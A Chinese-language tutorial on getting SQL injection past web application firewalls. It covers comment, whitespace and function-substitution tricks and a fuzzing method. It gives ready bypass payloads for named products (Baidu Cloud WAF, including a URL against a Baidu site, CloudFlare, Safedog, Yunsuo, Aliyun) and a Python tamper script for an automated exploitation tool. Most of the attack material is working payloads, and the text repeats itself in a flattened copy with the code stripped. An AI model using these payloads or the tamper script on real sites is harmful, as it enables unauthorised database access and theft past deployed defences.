WAF绕过之SQL注入(归来)
字数 2628 2025-08-20 18:18:05

WAF绕过之SQL注入技术详解

1. WAF概述与分类

WAF(Web Application Firewall)即Web应用防火墙,主要分为三大类:

  1. 硬件类WAF:如绿盟、天融信、安恒的硬件WAF
  2. 软件类WAF:如安全狗、云锁、ModSecurity等
  3. 基于云的WAF:如阿里云、创宇盾等

2. SQL注入绕过基础技巧

2.1 注释符利用

不同数据库支持的注释符:

数据库 注释符
MySQL /* */#/*! *//*!50000xx*/--
Oracle --0a-
MSSQL --0a-

2.2 空白字符利用

各数据库支持的空白字符:

数据库 空白字符
MySQL %09%0A%0B%0C%0D%20
Oracle %00%09%0A%0B%0C%0D%20
MSSQL %00-%20

2.3 特殊字符连接

在SQL关键字前后可连接的特殊字符:

  • +
  • -
  • @
  • !
  • '
  • "
  • ~
  • {

可结合注释符和空白字符使用。

3. 等价替换技术

3.1 函数替换

字符串截取函数替代方案:

  • mid(string,1,1) 可替换为:
    • substr(user() from 1 for 1)
    • replace(LPAD(user(),2,1),LPAD(user(),2-1,1),"")
    • LPAD(REVERSE(TRIM(lpad(user(),1,SPACE(1)))),1,SPACE(1))

ASCII码函数替代:

  • ascii(c)ord(c) 可替换为 conv(hex(c),16,10)

3.2 逗号过滤绕过

  • union select 1,2,3 可替换为:
    • union select * from (select 1)a join (select 2)b join (select 3)c
  • limit 2,1 可替换为 limit 1 offset 2

3.3 比较表达式替代

  • = 可替换为:
    • if(abs(strcmp((ascii(mid(user()from(1)for(2)))),114))-1,1,0)
    • find_in_set()
    • regexp
  • <> 可替换为:
    • least(ord('r'),115)
    • greatest(ord('r'),113)
    • between n and m

4. WAF绕过核心策略

4.1 目标分解

  1. 主要目标:绕过SELECT col FROM table语句拦截
  2. 次要目标:绕过UNION SELECT语句拦截

4.2 注入语句结构分析

SQL注入payload可分为两部分:

  • BOUNDARY:利用语句部分(如报错注入中的updatexml函数)
  • QUERY:基本查询部分(如select concat(0x7e,user,0x7e) from mysql.user limit 1

4.3 测试方法论

  1. 控制变量法:分别测试BOUNDARY和QUERY部分
  2. 白盒审计:对于软件类WAF(如安全狗、云锁),可逆向获取规则
  3. 黑盒测试:对于硬件和云WAF,采用黑盒测试方法

4.4 关键字填充策略

在SQL关键字前后设置FUZZ位置:

  1. 本地FUZZ测试出能正常执行的语句
  2. 提交到目标站点测试
  3. 结合注释、空白字符、括号等特性绕过
  4. 使用增删法确定触发拦截的字符或结构
  5. 寻找白字符进行替换

5. 实战案例:百度云WAF绕过

5.1 UNION SELECT绕过

  1. id=1 xor xx union select xx → 拦截
  2. id=1 xor xx union xx select xx → 不拦截
  3. id=1 xor union(select → 不拦截
  4. id=1 xor union(select) → 拦截
  5. id=1 xor union dd (select) → 不拦截

5.2 SELECT FROM绕过

  1. id=1 xor s( select xx from xx) → 拦截
  2. id=1 xor s( select xx from b xx) → 不拦截
  3. id=1 xor s( select @a from xx) → 拦截
  4. id=1 xor s( select @as from xx) → 不拦截

5.3 最终绕过payload

https://su.baidu.com/plan.html?id=1xor union dd(select@ \Nfrom xx)

6. 各WAF绕过payload示例

6.1 CloudFlare绕过

MSSQL UNION SELECT绕过

UNION/*!0SELECT*/1,2,3--

MYSQL报错注入绕过

AND updatexml(1,concat(0x7e,(/*!0SELECT*/user()),0x7e),1)

6.2 安全狗绕过

/*!0union*//*!0select*/1,2,3--

6.3 云锁绕过

id=1 AND{`(if(1,extractvalue(1,concat(0x7e,(select/**/user()),0x7e)),1))`}

6.4 阿里云绕过

AND{`(extractvalue(1,concat(0x7e,(select{`a`}from{`mysql.user`}),0x7e)))`}

7. 自动化利用工具

推荐使用Python编写的SQL注入漏洞利用工具,特点:

  • 参数使用方法与SQLMAP类似
  • 每种利用方法单独编写一个类
  • PAYLOAD由BOUNDARY和QUERY两部分组成
  • 支持tamper脚本对boundary和query单独处理

Tamper样例:

def tamper(payload, **kwargs):
    """
    安全狗绕过tamper示例
    """
    payload = payload.replace("UNION", "/*!0UNION*/")
    payload = payload.replace("SELECT", "/*!0SELECT*/")
    payload = payload.replace("FROM", "/*!0FROM*/")
    return payload

8. 总结与思考

  1. WAF绕过需要深入研究SQL语法特性和WAF规则
  2. 结合注释、空白字符、特殊字符等多种技巧
  3. 掌握等价替换和函数替代方法
  4. 采用控制变量法和增删法进行精准测试
  5. 对于软件类WAF,逆向分析可大幅提高绕过效率
  6. 自动化工具可提高漏洞利用效率

通过系统性地掌握这些技术和方法,可以有效绕过各类WAF对SQL注入的防护,但请注意这些技术仅应用于合法授权的安全测试。

WAF绕过之SQL注入技术详解 1. WAF概述与分类 WAF(Web Application Firewall)即Web应用防火墙,主要分为三大类: 硬件类WAF :如绿盟、天融信、安恒的硬件WAF 软件类WAF :如安全狗、云锁、ModSecurity等 基于云的WAF :如阿里云、创宇盾等 2. SQL注入绕过基础技巧 2.1 注释符利用 不同数据库支持的注释符: | 数据库 | 注释符 | |----------|---------------------------------| | MySQL | /* */ 、 # 、 /*! */ 、 /*!50000xx*/ 、 -- | | Oracle | --0a- | | MSSQL | --0a- | 2.2 空白字符利用 各数据库支持的空白字符: | 数据库 | 空白字符 | |----------|---------------------------------| | MySQL | %09 、 %0A 、 %0B 、 %0C 、 %0D 、 %20 | | Oracle | %00 、 %09 、 %0A 、 %0B 、 %0C 、 %0D 、 %20 | | MSSQL | %00 - %20 | 2.3 特殊字符连接 在SQL关键字前后可连接的特殊字符: + 号 - 号 @ 号 ! 号 ' 号 " 号 ~ 号 { 号 可结合注释符和空白字符使用。 3. 等价替换技术 3.1 函数替换 字符串截取函数替代方案: mid(string,1,1) 可替换为: substr(user() from 1 for 1) replace(LPAD(user(),2,1),LPAD(user(),2-1,1),"") LPAD(REVERSE(TRIM(lpad(user(),1,SPACE(1)))),1,SPACE(1)) ASCII码函数替代: ascii(c) 、 ord(c) 可替换为 conv(hex(c),16,10) 3.2 逗号过滤绕过 union select 1,2,3 可替换为: union select * from (select 1)a join (select 2)b join (select 3)c limit 2,1 可替换为 limit 1 offset 2 3.3 比较表达式替代 = 可替换为: if(abs(strcmp((ascii(mid(user()from(1)for(2)))),114))-1,1,0) find_in_set() regexp < 、 > 可替换为: least(ord('r'),115) greatest(ord('r'),113) between n and m 4. WAF绕过核心策略 4.1 目标分解 主要目标 :绕过 SELECT col FROM table 语句拦截 次要目标 :绕过 UNION SELECT 语句拦截 4.2 注入语句结构分析 SQL注入payload可分为两部分: BOUNDARY :利用语句部分(如报错注入中的 updatexml 函数) QUERY :基本查询部分(如 select concat(0x7e,user,0x7e) from mysql.user limit 1 ) 4.3 测试方法论 控制变量法 :分别测试BOUNDARY和QUERY部分 白盒审计 :对于软件类WAF(如安全狗、云锁),可逆向获取规则 黑盒测试 :对于硬件和云WAF,采用黑盒测试方法 4.4 关键字填充策略 在SQL关键字前后设置FUZZ位置: 本地FUZZ测试出能正常执行的语句 提交到目标站点测试 结合注释、空白字符、括号等特性绕过 使用增删法确定触发拦截的字符或结构 寻找白字符进行替换 5. 实战案例:百度云WAF绕过 5.1 UNION SELECT绕过 id=1 xor xx union select xx → 拦截 id=1 xor xx union xx select xx → 不拦截 id=1 xor union(select → 不拦截 id=1 xor union(select) → 拦截 id=1 xor union dd (select) → 不拦截 5.2 SELECT FROM绕过 id=1 xor s( select xx from xx) → 拦截 id=1 xor s( select xx from b xx) → 不拦截 id=1 xor s( select @a from xx) → 拦截 id=1 xor s( select @as from xx) → 不拦截 5.3 最终绕过payload https://su.baidu.com/plan.html?id=1xor union dd(select@ \Nfrom xx) 6. 各WAF绕过payload示例 6.1 CloudFlare绕过 MSSQL UNION SELECT绕过 : MYSQL报错注入绕过 : 6.2 安全狗绕过 6.3 云锁绕过 6.4 阿里云绕过 7. 自动化利用工具 推荐使用Python编写的SQL注入漏洞利用工具,特点: 参数使用方法与SQLMAP类似 每种利用方法单独编写一个类 PAYLOAD由BOUNDARY和QUERY两部分组成 支持tamper脚本对boundary和query单独处理 Tamper样例: 8. 总结与思考 WAF绕过需要深入研究SQL语法特性和WAF规则 结合注释、空白字符、特殊字符等多种技巧 掌握等价替换和函数替代方法 采用控制变量法和增删法进行精准测试 对于软件类WAF,逆向分析可大幅提高绕过效率 自动化工具可提高漏洞利用效率 通过系统性地掌握这些技术和方法,可以有效绕过各类WAF对SQL注入的防护,但请注意这些技术仅应用于合法授权的安全测试。